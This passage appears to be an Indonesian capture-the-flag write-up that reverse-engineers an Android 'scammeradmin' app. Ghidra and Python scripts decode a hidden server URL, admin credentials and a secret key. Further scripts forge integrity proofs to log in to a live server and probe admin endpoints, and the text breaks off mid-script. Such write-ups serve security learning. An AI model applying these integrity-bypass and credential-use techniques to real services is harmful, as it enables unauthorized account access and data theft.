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                                                                   CONCAT11(DAT_001d5f89, 
                                                                            DAT_001d5f88))) ^ 
                                                 SUB164(_DAT_00141df0,0)))) ^ 0x409f00000000) ^ 
              0xe0000000000000; 
  sVar3 = strlen((char *)&local_50); 
  if (sVar3 < 0xfffffffffffffff0) { 
    if (sVar3 < 0x17) { 
      local_a0 = CONCAT71(local_a0._1_7_,(char)sVar3 * '\x02'); 
      pvVar4 = (void *)((long)&local_a0 + 1); 
      if (sVar3 != 0) goto LAB_0016198d; 
    } 
    else { 
      pvVar4 = operator.new((sVar3 | 0xf) + 1); 
      local_a0 = (sVar3 | 0xf) + 2; 
      local_98 = sVar3; 
      local_90 = pvVar4; 
LAB_0016198d: 
      memcpy(pvVar4,&local_50,sVar3); 
    } 
    *(undefined1 *)((long)pvVar4 + sVar3) = 0; 
                    /* try { // try from 001619a2 to 001619b2 has its CatchHandler @ 00161bad */ 
    pauVar5 = (undefined1 (*) [16]) 
              std::__ndk1::basic_string<>::append((basic_string<> *)&local_a0,"|"); 
    local_78 = *(void **)pauVar5[1]; 
    local_88 = *(ulong *)*pauVar5; 
    uStack_80 = *(undefined8 *)(*pauVar5 + 8); 
    *pauVar5 = (undefined1  [16])0x0; 
    *(undefined8 *)pauVar5[1] = 0; 
    sVar3 = strlen((char *)&local_48); 
    if (sVar3 < 0xfffffffffffffff0) { 
      pcVar2 = (char *)((long)&local_b8 + 1); 
      if (sVar3 < 0x17) { 
        local_b8 = CONCAT71(local_b8._1_7_,(char)sVar3 * '\x02'); 
        __dest = pcVar2; 
        if (sVar3 != 0) goto LAB_00161a30; 
      } 
      else { 
        uVar7 = (sVar3 | 0xf) + 1; 
                    /* try { // try from 00161a13 to 00161a1a has its CatchHandler @ 00161bb9 */ 
        __dest = (char *)operator.new(uVar7); 
        local_b8 = uVar7 | 1; 
        local_b0 = sVar3; 
        local_a8 = __dest; 
LAB_00161a30: 
        memcpy(__dest,&local_48,sVar3); 
      } 
      __dest[sVar3] = '\0'; 
      uVar7 = local_b8 >> 1 & 0x7f; 
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      if ((local_b8 & 1) != 0) { 
        uVar7 = local_b0; 
        pcVar2 = local_a8; 
      } 
                    /* try { // try from 00161a5b to 00161a67 has its CatchHandler @ 00161b81 */ 
      pauVar5 = (undefined1 (*) [16]) 
                std::__ndk1::basic_string<>::append((basic_string<> *)&local_88,pcVar2,uVar7); 
      local_58 = *(void **)pauVar5[1]; 
      local_68 = *(ulong *)*pauVar5; 
      uStack_60 = *(undefined8 *)(*pauVar5 + 8); 
      *pauVar5 = (undefined1  [16])0x0; 
      *(undefined8 *)pauVar5[1] = 0; 
      if ((local_b8 & 1) != 0) { 
        operator.delete(local_a8); 
      } 
      if ((local_88 & 1) != 0) { 
        operator.delete(local_78); 
      } 
      if ((local_a0 & 1) != 0) { 
        operator.delete(local_90); 
      } 
      pvVar4 = local_58; 
      if ((local_68 & 1) == 0) { 
        pvVar4 = (void *)((long)&local_68 + 1); 
      } 
                    /* try { // try from 00161ae8 to 00161af0 has its CatchHandler @ 00161b70 */ 
      uVar6 = (**(code **)(*param_1 + 0x538))(param_1,pvVar4); 
      if ((local_68 & 1) != 0) { 
        operator.delete(local_58); 
      } 
      if (*(long *)(in_FS_OFFSET + 0x28) == local_30) { 
        return uVar6; 
      } 
      goto LAB_00161bf9; 
    } 
  } 
  else { 
    if (*(long *)(in_FS_OFFSET + 0x28) != local_30) goto LAB_00161bf9; 
    FUN_00162510(&local_a0); 
  } 
  if (*(long *)(in_FS_OFFSET + 0x28) == local_30) { 
                    /* try { // try from 00161b68 to 00161b6f has its CatchHandler @ 00161bb9 */ 
    uVar6 = FUN_00162510(&local_b8); 
                    /* catch() { ... } // from try @ 00161ae8 with catch @ 00161b70 */ 
    if ((local_68 & 1) != 0) { 
      operator.delete(local_58); 
    } 
    if (*(long *)(in_FS_OFFSET + 0x28) == local_30) { 
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                    /* WARNING: Subroutine does not return */ 
      FUN_001c6d30(uVar6); 
    } 
  } 
LAB_00161bf9: 
                    /* WARNING: Subroutine does not return */ 
  __stack_chk_fail(); 
} 
 
getServerUrl :  
 
 
undefined8 FUN_00162210(long *param_1) 
 
{ 
  long lVar1; 
  undefined8 *puVar2; 
  long lVar3; 
  undefined8 uVar4; 
  long in_FS_OFFSET; 
   
  lVar1 = *(long *)(in_FS_OFFSET + 0x28); 
  puVar2 = (undefined8 *)operator.new(0x20); 
  *(undefined8 *)((long)puVar2 + 0xc) = 0; 
  *(undefined8 *)((long)puVar2 + 0x14) = 0; 
  *puVar2 = 0; 
  puVar2[1] = 0; 
  for (lVar3 = 0; *(byte *)((long)puVar2 + lVar3) = (&DAT_00143b40)[lVar3] ^ 0x5a, lVar3 != 
0x1a; 
      lVar3 = lVar3 + 2) { 
    *(byte *)((long)puVar2 + lVar3 + 1) = (&DAT_00143b41)[lVar3] ^ 0x5a; 
  } 
                    /* try { // try from 001622ae to 001622b6 has its CatchHandler @ 001622e3 */ 
  uVar4 = (**(code **)(*param_1 + 0x538))(param_1,puVar2); 
  operator.delete(puVar2); 
  if (*(long *)(in_FS_OFFSET + 0x28) == lVar1) { 
    return uVar4; 
  } 
                    /* WARNING: Subroutine does not return */ 
  __stack_chk_fail(); 
} 
 
computeProof : 
 
undefined8 FUN_00161c00(long *param_1,undefined8 param_2,undefined8 param_3) 
 
{ 
  undefined *puVar1; 
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  char *__s; 
  size_t sVar2; 
  long *plVar3; 
  undefined8 uVar4; 
  long lVar5; 
  undefined1 *puVar6; 
  long in_FS_OFFSET; 
  byte local_200; 
  undefined1 local_1ff [15]; 
  undefined1 *local_1f0; 
  locale local_1e8 [8]; 
  undefined **local_1e0; 
  undefined **local_1d8 [2]; 
  undefined8 auStack_1c8 [6]; 
  ulong local_198; 
  undefined8 uStack_190; 
  void *local_188; 
  undefined8 uStack_180; 
  undefined4 local_178; 
  undefined **local_170 [4]; 
  int aiStack_150 [26]; 
  undefined8 local_e8; 
  undefined4 local_e0; 
  uint local_d8; 
  uint local_d4; 
  uint local_d0; 
  uint local_cc; 
  uint local_c8; 
  uint local_c4; 
  uint local_c0; 
  uint local_bc; 
  undefined8 local_b8; 
  undefined8 uStack_b0; 
  undefined8 local_a8; 
  undefined8 uStack_a0; 
  undefined8 local_58; 
  int local_50; 
  byte local_48; 
  byte local_47; 
  byte local_46; 
  byte local_45; 
  byte local_44; 
  byte local_43; 
  byte local_42; 
  byte local_41; 
  byte local_40; 
  byte local_3f; 
  byte local_3e; 
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  byte local_3d; 
  byte local_3c; 
  byte local_3b; 
  byte local_3a; 
  byte local_39; 
  long local_38; 
   
  local_38 = *(long *)(in_FS_OFFSET + 0x28); 
  local_48 = DAT_001d5f90 ^ 0xd0; 
  local_47 = DAT_001d5f91 ^ 0x84; 
  local_46 = DAT_001d5f92 ^ 0x50; 
  local_45 = DAT_001d5f93 ^ 0xf0; 
  local_44 = DAT_001d5f94 ^ 0x65; 
  local_43 = DAT_001d5f95 ^ 0xe1; 
  local_42 = DAT_001d5f96 ^ 0x5e; 
  local_41 = DAT_001d5f97 ^ 0x48; 
  local_40 = DAT_001d5f98 ^ 0x3e; 
  local_3f = DAT_001d5f99 ^ 0x18; 
  local_3e = DAT_001d5f9a ^ 0x6b; 
  local_3d = DAT_001d5f9b ^ 0x1d; 
  local_3c = DAT_001d5f9c ^ 0xed; 
  local_3b = DAT_001d5f9d ^ 0xa7; 
  local_3a = DAT_001d5f9e ^ 0xd4; 
  local_39 = DAT_001d5f9f ^ 0x8c; 
  __s = (char *)(**(code **)(*param_1 + 0x548))(param_1,param_3,0); 
  local_b8 = 0xbb67ae856a09e667; 
  uStack_b0 = 0xa54ff53a3c6ef372; 
  local_a8 = 0x9b05688c510e527f; 
  uStack_a0 = 0x5be0cd191f83d9ab; 
  local_58 = 0; 
  local_50 = 0; 
  sVar2 = strlen(__s); 
  FUN_00162590(&local_b8,__s,sVar2); 
  FUN_00162590(&local_b8,&local_48,0x10); 
  (**(code **)(*param_1 + 0x550))(param_1,param_3,__s); 
  uVar4 = local_58; 
  local_1e0 = (undefined **)CONCAT71(local_1e0._1_7_,0x80); 
  FUN_00162590(&local_b8,&local_1e0,1); 
  if (local_50 != 0x38) { 
    do { 
      local_1e0 = (undefined **)((ulong)local_1e0 & 0xffffffffffffff00); 
      FUN_00162590(&local_b8,&local_1e0,1); 
    } while (local_50 != 0x38); 
  } 
  local_1e0._0_1_ = SUB81((ulong)uVar4 >> 0x38,0); 
  FUN_00162590(&local_b8,&local_1e0,1); 
  local_1e0._0_1_ = SUB81((ulong)uVar4 >> 0x30,0); 
  FUN_00162590(&local_b8,&local_1e0,1); 
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  local_1e0._0_1_ = SUB81((ulong)uVar4 >> 0x28,0); 
  FUN_00162590(&local_b8,&local_1e0,1); 
  local_1e0._0_1_ = SUB81((ulong)uVar4 >> 0x20,0); 
  FUN_00162590(&local_b8,&local_1e0,1); 
  local_1e0._0_1_ = SUB81((ulong)uVar4 >> 0x18,0); 
  FUN_00162590(&local_b8,&local_1e0,1); 
  local_1e0._0_1_ = SUB81((ulong)uVar4 >> 0x10,0); 
  FUN_00162590(&local_b8,&local_1e0,1); 
  local_1e0._0_1_ = SUB81((ulong)uVar4 >> 8,0); 
  FUN_00162590(&local_b8,&local_1e0,1); 
  local_1e0 = (undefined **)CONCAT71(local_1e0._1_7_,(char)uVar4); 
  FUN_00162590(&local_b8,&local_1e0,1); 
  local_d8 = (uint)local_b8 >> 0x18 | ((uint)local_b8 & 0xff0000) >> 8 | 
             ((uint)local_b8 & 0xff00) << 8 | (uint)local_b8 << 0x18; 
  local_d4 = local_b8._4_4_ >> 0x18 | (local_b8._4_4_ & 0xff0000) >> 8 | 
             (local_b8._4_4_ & 0xff00) << 8 | local_b8._4_4_ << 0x18; 
  local_d0 = (uint)uStack_b0 >> 0x18 | ((uint)uStack_b0 & 0xff0000) >> 8 | 
             ((uint)uStack_b0 & 0xff00) << 8 | (uint)uStack_b0 << 0x18; 
  local_cc = uStack_b0._4_4_ >> 0x18 | (uStack_b0._4_4_ & 0xff0000) >> 8 | 
             (uStack_b0._4_4_ & 0xff00) << 8 | uStack_b0._4_4_ << 0x18; 
  local_c8 = (uint)local_a8 >> 0x18 | ((uint)local_a8 & 0xff0000) >> 8 | 
             ((uint)local_a8 & 0xff00) << 8 | (uint)local_a8 << 0x18; 
  local_c4 = local_a8._4_4_ >> 0x18 | (local_a8._4_4_ & 0xff0000) >> 8 | 
             (local_a8._4_4_ & 0xff00) << 8 | local_a8._4_4_ << 0x18; 
  local_c0 = (uint)uStack_a0 >> 0x18 | ((uint)uStack_a0 & 0xff0000) >> 8 | 
             ((uint)uStack_a0 & 0xff00) << 8 | (uint)uStack_a0 << 0x18; 
  local_bc = uStack_a0._4_4_ >> 0x18 | (uStack_a0._4_4_ & 0xff0000) >> 8 | 
             (uStack_a0._4_4_ & 0xff00) << 8 | uStack_a0._4_4_ << 0x18; 
  local_1e0 = &PTR_~basic_ostream_001cd8e8; 
  local_170[0] = &PTR_~basic_ostream_001cd910; 
                    /* try { // try from 00161fa0 to 00161faa has its CatchHandler @ 001621bf */ 
  std::__ndk1::ios_base::init((ios_base *)local_170,(basic_streambuf<> *)local_1d8); 
  local_e8 = 0; 
  local_e0 = 0xffffffff; 
  local_1e0 = &PTR_FUN_001cd878; 
  local_170[0] = &PTR_FUN_001cd8a0; 
                    /* try { // try from 00161fd7 to 00161fde has its CatchHandler @ 001621a9 */ 
  std::__ndk1::basic_streambuf<>::basic_streambuf((basic_streambuf<> *)local_1d8); 
  local_1d8[0] = &PTR_FUN_001cd358; 
  local_198 = 0; 
  uStack_190 = 0; 
  local_188 = (void *)0x0; 
  uStack_180 = 0; 
  local_178 = 0x10; 
  lVar5 = 0; 
  do { 
    *(uint *)((long)local_1d8 + (long)local_1e0[-3]) = 
         *(uint *)((long)local_1d8 + (long)local_1e0[-3]) & 0xffffffb5 | 8; 
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    *(undefined8 *)((long)auStack_1c8 + (long)local_1e0[-3]) = 2; 
    puVar1 = local_1e0[-3]; 
    if (*(int *)((long)aiStack_150 + (long)puVar1) == -1) { 
                    /* try { // try from 0016206a to 00162074 has its CatchHandler @ 001621e0 */ 
      std::__ndk1::ios_base::getloc(); 
                    /* try { // try from 00162075 to 0016208d has its CatchHandler @ 001621d1 */ 
      plVar3 = (long *)std::__ndk1::locale::use_facet(local_1e8,(id *)&std::__ndk1::ctype<char>: 
:id) 
      ; 
      (**(code **)(*plVar3 + 0x38))(plVar3,0x20); 
      std::__ndk1::locale::~locale(local_1e8); 
    } 
    *(undefined4 *)((long)aiStack_150 + (long)puVar1) = 0x30; 
                    /* try { // try from 001620aa to 001620b1 has its CatchHandler @ 001621e0 */ 
    std::__ndk1::basic_ostream<>::operator<< 
              ((basic_ostream<> *)&local_1e0,(uint)*(byte *)((long)&local_d8 + lVar5)); 
    lVar5 = lVar5 + 1; 
  } while (lVar5 != 0x20); 
                    /* try { // try from 001620bf to 001620d0 has its CatchHandler @ 001621a7 */ 
  std::__ndk1::basic_stringbuf<>::str(); 
  local_1e0 = &PTR_FUN_001cd878; 
  local_170[0] = &PTR_FUN_001cd8a0; 
  local_1d8[0] = &PTR_FUN_001cd358; 
  if ((local_198 & 1) != 0) { 
    operator.delete(local_188); 
  } 
  std::__ndk1::basic_streambuf<>::~basic_streambuf((basic_streambuf<> *)local_1d8); 
  std::__ndk1::basic_ostream<>::~basic_ostream((basic_ostream<> *)&local_1e0); 
  std::__ndk1::basic_ios<>::~basic_ios((basic_ios<> *)local_170); 
  puVar6 = local_1f0; 
  if ((local_200 & 1) == 0) { 
    puVar6 = local_1ff; 
  } 
                    /* try { // try from 00162148 to 00162150 has its CatchHandler @ 00162191 */ 
  uVar4 = (**(code **)(*param_1 + 0x538))(param_1,puVar6); 
  if ((local_200 & 1) != 0) { 
    operator.delete(local_1f0); 
  } 
  if (*(long *)(in_FS_OFFSET + 0x28) != local_38) { 
                    /* WARNING: Subroutine does not return */ 
    __stack_chk_fail(); 
  } 
  return uVar4; 
} 

Hasil dari decompile kode tersebut adalah :  

1.​ getServerUrl  
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for (lVar3 = 0; puVar2[lVar3] = (&DAT_00143b40)[lVar3] ^ 0x5a, lVar3 != 0x1a; 
lVar3 += 2) 

26 bytes (0x1a) di alamat 0x00143b40, XOR dengan 0x5a 

2.​ checkLicense 

Membuat string: first_part + "|" + second_part 

first_part = 5 byte: byte 0–3 = [DAT_001d5f80..0x83] XOR [_DAT_00141d60..0x63], 

byte 4 = DAT_001d5f84 XOR 0x52 

second_part = dari local_48 (8 byte) + uStack_40 (8 byte), dibangun dari 

DAT_001d5f80..8e XOR beberapa alamat .rodata. 

 

Lalu selanjut nya saya disini menjalankan script untuk mendapatkan informasi dari 

decompile dari ghidra tersebut. 

# -*- coding: utf-8 -*- 
from ghidra.program.model.address import Address 
import struct 
import jarray 
 
mem = currentProgram.getMemory() 
 
def read(addr, n): 
    buf = jarray.zeros(n, "b")   # buffer signed byte 
    mem.getBytes(toAddr(addr), buf) 
    return "".join([chr(b & 0xff) for b in buf]) 
 
def tohex(s): 
    return "".join(["%02x" % (ord(c) & 0xff) for c in s]) 
 
def xor(s, k): 
    return "".join([chr((ord(c) & 0xff) ^ k) for c in s]) 
 
# ---------- getServerUrl ---------- 
raw = read(0x143b40, 26) 
print("getServerUrl = " + xor(raw, 0x5a)) 
 
# ---------- checkLicense ---------- 
data_1d5f80 = read(0x1d5f80, 16) 
data_141d60 = read(0x141d60, 4) 
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data_141e30 = read(0x141e30, 8) 
data_141df0 = read(0x141df0, 4) 
 
# uVar1 = 4 byte pertama dari data_1d5f80 
uVar1 = struct.unpack("<I", data_1d5f80[0:4])[0] 
val1  = uVar1 ^ struct.unpack("<I", data_141d60)[0] 
b4    = (ord(data_1d5f80[4]) & 0xff) ^ 0x52 
first = struct.pack("<I", val1) + chr(b4) 
print("first_part  = " + first) 
 
# second_part = local_48 (8 byte) + uStack_40 (8 byte) 
a = uVar1 
b = struct.unpack("<I", data_1d5f80[4:8])[0] 
val48 = ((b << 32) | a) ^ struct.unpack("<Q", data_141e30)[0] 
bytes48 = struct.pack("<Q", val48 & 0xffffffffffffffff) 
 
# uStack_40: baca 7 byte DAT_001d5f88..0x5f8e (7 byte) 
d7 = read(0x1d5f88, 7) 
d7_int = 0 
for i in range(7): 
    d7_int |= (ord(d7[i]) & 0xff) << (8*i) 
 
val40 = d7_int 
val40 ^= struct.unpack("<I", data_141df0)[0] 
val40 ^= 0x409f00000000 
val40 ^= 0xe0000000000000 
val40 &= 0xffffffffffffffff 
bytes40 = struct.pack("<Q", val40) 
 
second_raw = bytes48 + bytes40 
idx = second_raw.find("\x00") 
second = second_raw[:idx] if idx >= 0 else second_raw 
print("second_part = " + second) 
 
flag = first + "|" + second 
print("FLAG? = " + flag) 

Dan ketika di jalankan terdapat output berikut. 
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Jadi disini di dapatkan sebuah url yang mungkin mengarah ke website tempat 

penyimpanan data , dan disini juga di dapatkan akun nya yaitu Admin dan 

inibeneranadmin, dan juga ternyata sudah di berikan port yang benar dari admin : 

http://144.91.64.93:14927 . 

Maka disini saya mencoba akses ke : http://144.91.64.93:14927/api/nonce , dan 

didapatkan output berikut : 

{"nonce_token":"b3b725827d4afa3c37d4a67c0ba6a424:be07b6bd05af798450105540063

04aa367b25dcb5fdabe2f01df224a6e412d57"} di dapatkan nonce_token. 

Dan disini saya menjalankan script ghidra berikut ini. 

# -*- coding: utf-8 -*- 
import jarray 
 
mem = currentProgram.getMemory() 
 
def read(addr, n): 
    buf = jarray.zeros(n, "b") 
    mem.getBytes(toAddr(addr), buf) 
    return [b & 0xff for b in buf] 
 
data = read(0x1d5f90, 16) 
xor_key = [0xd0, 0x84, 0x50, 0xf0, 0x65, 0xe1, 0x5e, 0x48, 
           0x3e, 0x18, 0x6b, 0x1d, 0xed, 0xa7, 0xd4, 0x8c] 
 
secret_bytes = [d ^ k for d, k in zip(data, xor_key)] 
 
# print hex 
hex_str = "".join(["%02x" % b for b in secret_bytes]) 
print("secret hex: " + hex_str) 
 
# print as printable if possible 
try: 
    print("secret ascii: " + "".join([chr(b) for b in secret_bytes])) 
except: 
    pass 
 
# print raw byte array for copy-paste 
print("secret bytes: " + repr(secret_bytes)) 

Dan ketika di jalankan mengeluarkan output berikut. 

Presented by @hackitbraw_ub 

http://144.91.64.93:14927
http://144.91.64.93:14927/api/nonce


82 

 

Maka disini sudah di dapatkan nilai dari secret hexnya. Karena disini kita sudah tau format 

input nya apa saja :  

Nonce token utuh (xxx:yyy) 
Hanya bagian sebelum : (32 hex) 
Hanya bagian sesudah : (64 hex) 
Username + nonce 

Dan disini saya mencoba step berikut :  Ambil nonce fresh dari server, Coba semua kandidat 

input, Print respons server untuk tiap percobaan dengan kode berikut 

#!/usr/bin/env python3 
import hashlib 
import json 
import urllib.request 
 
URL = "http://144.91.64.93:14927" 
SECRET_HEX = "7a3f9c2d8b1e4f6a0d5c3e7b9a2f4d8c" 
 
def http(method, path, data=None, headers=None): 
    url = URL + path 
    hdrs = {"Content-Type": "application/json"} 
    if headers: 
        hdrs.update(headers) 
    body = json.dumps(data).encode() if data is not None else None 
    req = urllib.request.Request(url, data=body, method=method, headers=hdrs) 
    try: 
        with urllib.request.urlopen(req, timeout=10) as r: 
            return r.status, r.read().decode() 
    except urllib.error.HTTPError as e: 
        return e.code, e.read().decode() 
    except Exception as e: 
        return 0, str(e) 
 
def sha256_hex(s: bytes) -> str: 
    return hashlib.sha256(s).hexdigest() 
 
# 1. Ambil nonce 
status, body = http("GET", "/api/nonce") 
print(f"[*] GET /api/nonce -> {status}") 
print(f"    {body}") 
try: 
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    nonce_token = json.loads(body)["nonce_token"] 
except Exception as e: 
    print(f"[!] Gagal parse nonce: {e}") 
    raise SystemExit(1) 
 
print(f"[*] nonce_token = {nonce_token}") 
print() 
 
secret = bytes.fromhex(SECRET_HEX) 
part1, part2 = nonce_token.split(":") 
 
# Kandidat input untuk hash 
candidates = { 
    "nonce_full":   nonce_token, 
    "nonce_part1":  part1, 
    "nonce_part2":  part2, 
    "full+Admin":   nonce_token + "Admin", 
    "Admin+full":   "Admin" + nonce_token, 
    "part1+Admin":  part1 + "Admin", 
    "Admin+part1":  "Admin" + part1, 
    "Admin|pass":   "Admin|inibeneranadmin", 
    "password":     "inibeneranadmin", 
    "username":     "Admin", 
    "empty":        "", 
} 
 
for name, inp in candidates.items(): 
    proof = sha256_hex(inp.encode() + secret) 
    payload = { 
        "username": "Admin", 
        "password": "inibeneranadmin", 
        "nonce_token": nonce_token, 
        "integrity_proof": proof, 
    } 
    status, body = http("POST", "/api/login", payload) 
    short = body[:150].replace("\n", " ") 
    print(f"[*] {name:15s} ({status}) -> {short}") 
 
    if status == 200 and '"token"' in body: 
        print() 
        print(f"[+] BERHASIL! input = {name}") 
        try: 
            token = json.loads(body)["token"] 
        except Exception: 
            print(f"[!] Response bukan JSON valid: {body}") 
            break 
        print(f"[+] Token: {token}") 
        print() 

Presented by @hackitbraw_ub 



84 

 
        # 2. Setelah login, coba endpoint customer & flag 
        auth = {"Authorization": f"Bearer {token}"} 
 
        endpoints = [ 
            ("GET",  "/api/customers?page=1&limit=100", None), 
            ("GET",  "/api/me", None), 
            ("GET",  "/api/profile", None), 
            ("GET",  "/api/flag", None), 
            ("GET",  "/flag", None), 
            ("GET",  "/api/admin/flag", None), 
            ("GET",  "/api/admin", None), 
            ("GET",  "/api/secret", None), 
        ] 
        for method, path, data in endpoints: 
            st, bd = http(method, path, data, auth) 
            print(f"--- {method} {path} -> {st}") 
            print(bd[:500]) 
            print() 
        break 
else: 
    print("[!] Semua kandidat gagal. Perlu lihat kode Java yang manggil computeProof.") 

Dan hasilnya berikut :  

[*] GET /api/nonce -> 200 
    
{"nonce_token":"dd4e987dec3ad0b17cfc2ea0aa7131d0:dea9be16df3d49450cb038c3eb
a86d7fddb9498318f0f459fe2b3aafeb252483"} 
 
[*] nonce_token = 
dd4e987dec3ad0b17cfc2ea0aa7131d0:dea9be16df3d49450cb038c3eba86d7fddb94983
18f0f459fe2b3aafeb252483 
 
[*] nonce_full      (403) -> {"error":"access denied \u2014 APK integrity check failed"} 
[*] nonce_part1     (401) -> {"error":"invalid or expired nonce"} 
[*] nonce_part2     (401) -> {"error":"invalid or expired nonce"} 
[*] full+Admin      (401) -> {"error":"invalid or expired nonce"} 
[*] Admin+full      (401) -> {"error":"invalid or expired nonce"} 
[*] part1+Admin     (401) -> {"error":"invalid or expired nonce"} 
[*] Admin+part1     (401) -> {"error":"invalid or expired nonce"} 
[*] Admin|pass      (401) -> {"error":"invalid or expired nonce"} 
[*] password        (401) -> {"error":"invalid or expired nonce"} 
[*] username        (401) -> {"error":"invalid or expired nonce"} 
[*] empty           (401) -> {"error":"invalid or expired nonce"} 
[!] Semua kandidat gagal. Perlu lihat kode Java yang manggil computeProof. 

Presented by @hackitbraw_ub 



85 

Lalu karena ada kesalahan pada compute proof maka disini saya reverse lagi di Jadx untuk 

memperbaiki hitungan compute proof disini kita cek hasil class dari T.i 

package T; 
 
import a0.AbstractC0039h; 
import android.content.Intent; 
import android.widget.Button; 
import android.widget.ProgressBar; 
import android.widget.TextView; 
import com.ifest26.scammeradmin.DashboardActivity; 
import com.ifest26.scammeradmin.LoginActivity; 
import g0.InterfaceC0090p; 
import o0.AbstractC0206n; 
import o0.AbstractC0211t; 
import o0.InterfaceC0204l; 
 
/* loaded from: classes.dex */ 
public final class i extends AbstractC0039h implements InterfaceC0090p { 
 
    /* renamed from: e, reason: collision with root package name */ 
    public int f597e; 
    public final /* synthetic */ ProgressBar f; 
 
    /* renamed from: g, reason: collision with root package name */ 
    public final /* synthetic */ Button f598g; 
 
    /* renamed from: h, reason: collision with root package name */ 
    public final /* synthetic */ TextView f599h; 
 
    /* renamed from: i, reason: collision with root package name */ 
    public final /* synthetic */ LoginActivity f600i; 
 
    /* renamed from: j, reason: collision with root package name */ 
    public final /* synthetic */ String f601j; 
 
    /* renamed from: k, reason: collision with root package name */ 
    public final /* synthetic */ String f602k; 
 
    /* JADX WARN: 'super' call moved to the top of the method (can break code semantics) 
*/ 
    public i(ProgressBar progressBar, Button button, TextView textView, LoginActivity 
loginActivity, String str, String str2, Y.d dVar) { 
        super(dVar); 
        this.f = progressBar; 
        this.f598g = button; 
        this.f599h = textView; 
        this.f600i = loginActivity; 
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        this.f601j = str; 
        this.f602k = str2; 
    } 
 
    @Override // a0.AbstractC0032a 
    public final Y.d a(Object obj, Y.d dVar) { 
        return new i(this.f, this.f598g, this.f599h, this.f600i, this.f601j, this.f602k, dVar); 
    } 
 
    @Override // g0.InterfaceC0090p 
    public final Object d(Object obj, Object obj2) { 
        return ((i) a((InterfaceC0204l) obj, (Y.d) obj2)).e(V.f.f610c); 
    } 
 
    @Override // a0.AbstractC0032a 
    public final Object e(Object obj) throws Throwable { 
        Z.a aVar = Z.a.f635a; 
        int i2 = this.f597e; 
        LoginActivity loginActivity = this.f600i; 
        if (i2 == 0) { 
            B0.d.M(obj); 
            s0.c cVar = AbstractC0211t.b; 
            h hVar = new h(loginActivity, this.f601j, this.f602k, null); 
            this.f597e = 1; 
            obj = AbstractC0206n.i(cVar, hVar, this); 
            if (obj == aVar) { 
                return aVar; 
            } 
        } else { 
            if (i2 != 1) { 
                throw new IllegalStateException("call to 'resume' before 'invoke' with 
coroutine"); 
            } 
            B0.d.M(obj); 
        } 
        String str = (String) obj; 
        this.f.setVisibility(8); 
        this.f598g.setEnabled(true); 
        if (str == null) { 
            TextView textView = this.f599h; 
            textView.setText("Login gagal. Periksa kredensial dan koneksi."); 
            textView.setVisibility(0); 
        } else { 
            U.b.f604c = str; 
            loginActivity.startActivity(new Intent(loginActivity, (Class<?>) 
DashboardActivity.class)); 
            loginActivity.finish(); 
        } 
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        return V.f.f610c; 
    } 
} 

Dari sini sudah ketahuan kalau alur dari program nya berikut. 

LoginActivity -> T.d (OnClickListener) -> T.i (coroutine wrapper)   -> manggil T.h (coroutine 

utama login) -> di dalamnya: getNonce -> computeProof -> login 

Lalu disini saya lanjut reverse chall h 

package T; 
 
import a0.AbstractC0039h; 
import com.ifest26.scammeradmin.LoginActivity; 
import com.ifest26.scammeradmin.NativeBridge; 
import com.ifest26.scammeradmin.api.CustomerApi; 
import g0.InterfaceC0090p; 
import o0.InterfaceC0204l; 
 
/* loaded from: classes.dex */ 
public final class h extends AbstractC0039h implements InterfaceC0090p { 
 
    /* renamed from: e, reason: collision with root package name */ 
    public final /* synthetic */ LoginActivity f595e; 
    public final /* synthetic */ String f; 
 
    /* renamed from: g, reason: collision with root package name */ 
    public final /* synthetic */ String f596g; 
 
    /* JADX WARN: 'super' call moved to the top of the method (can break code semantics) 
*/ 
    public h(LoginActivity loginActivity, String str, String str2, Y.d dVar) { 
        super(dVar); 
        this.f595e = loginActivity; 
        this.f = str; 
        this.f596g = str2; 
    } 
 
    @Override // a0.AbstractC0032a 
    public final Y.d a(Object obj, Y.d dVar) { 
        return new h(this.f595e, this.f, this.f596g, dVar); 
    } 
 
    @Override // g0.InterfaceC0090p 
    public final Object d(Object obj, Object obj2) { 
        return ((h) a((InterfaceC0204l) obj, (Y.d) obj2)).e(V.f.f610c); 
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    } 
 
    @Override // a0.AbstractC0032a 
    public final Object e(Object obj) throws Throwable { 
        String strSubstring; 
        B0.d.M(obj); 
        int i2 = LoginActivity.f1204y; 
        this.f595e.getClass(); 
        CustomerApi customerApi = CustomerApi.INSTANCE; 
        String nonce = customerApi.getNonce(); 
        if (nonce == null) { 
            return null; 
        } 
        int iB0 = n0.d.b0(nonce, ":", 0, false, 6); 
        if (iB0 == -1) { 
            strSubstring = nonce; 
        } else { 
            strSubstring = nonce.substring(0, iB0); 
            h0.d.d(strSubstring, "substring(...)"); 
        } 
        return customerApi.login(this.f, this.f596g, nonce, 
NativeBridge.INSTANCE.computeProof(strSubstring)); 
    } 
} 

Dan ternyata penyebab kegagalan nya adalah mengirim nonce part 1 yang dimana seharus 

nya once yang dikirim itu semuanya : nonce_token (dikirim ke login) = ​ utuh xxx:yyy 

Lalu disini mencoba akses web nya lagi dengan script berikut :  

#!/usr/bin/env python3 
import hashlib 
import json 
import urllib.request 
import urllib.error 
 
URL = "http://144.91.64.93:14927" 
SECRET = bytes.fromhex("7a3f9c2d8b1e4f6a0d5c3e7b9a2f4d8c") 
 
def get_nonce(): 
    with urllib.request.urlopen(URL + "/api/nonce", timeout=10) as r: 
        return json.loads(r.read())["nonce_token"] 
 
def http(method, path, data=None, headers=None): 
    hdrs = {"Content-Type": "application/json"} 
    if headers: hdrs.update(headers) 
    body = json.dumps(data).encode() if data is not None else None 
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    req = urllib.request.Request(URL + path, data=body, method=method, headers=hdrs) 
    try: 
        with urllib.request.urlopen(req, timeout=10) as r: 
            return r.status, r.read().decode() 
    except urllib.error.HTTPError as e: 
        return e.code, e.read().decode() 
 
# ---------- STEP 1: LOGIN ---------- 
nonce = get_nonce() 
print(f"[*] nonce_token = {nonce}") 
 
part1 = nonce.split(":")[0] 
print(f"[*] part1 (input computeProof) = {part1}") 
 
proof = hashlib.sha256(part1.encode() + SECRET).hexdigest() 
print(f"[*] proof = {proof}") 
 
payload = { 
    "username": "Admin", 
    "password": "inibeneranadmin", 
    "nonce_token": nonce,          # <-- UTUH 
    "integrity_proof": proof, 
} 
st, body = http("POST", "/api/login", payload) 
print(f"[*] POST /api/login -> {st}") 
print(f"    {body}") 
print() 
 
if st != 200: 
    print("[!] Login gagal, berhenti.") 
    raise SystemExit(1) 
 
token = json.loads(body)["token"] 
print(f"[+] TOKEN = {token}") 
print() 
 
# ---------- STEP 2: EXPLORE ---------- 
auth = {"Authorization": f"Bearer {token}"} 
 
def probe(method, path, data=None): 
    st, bd = http(method, path, data, auth) 
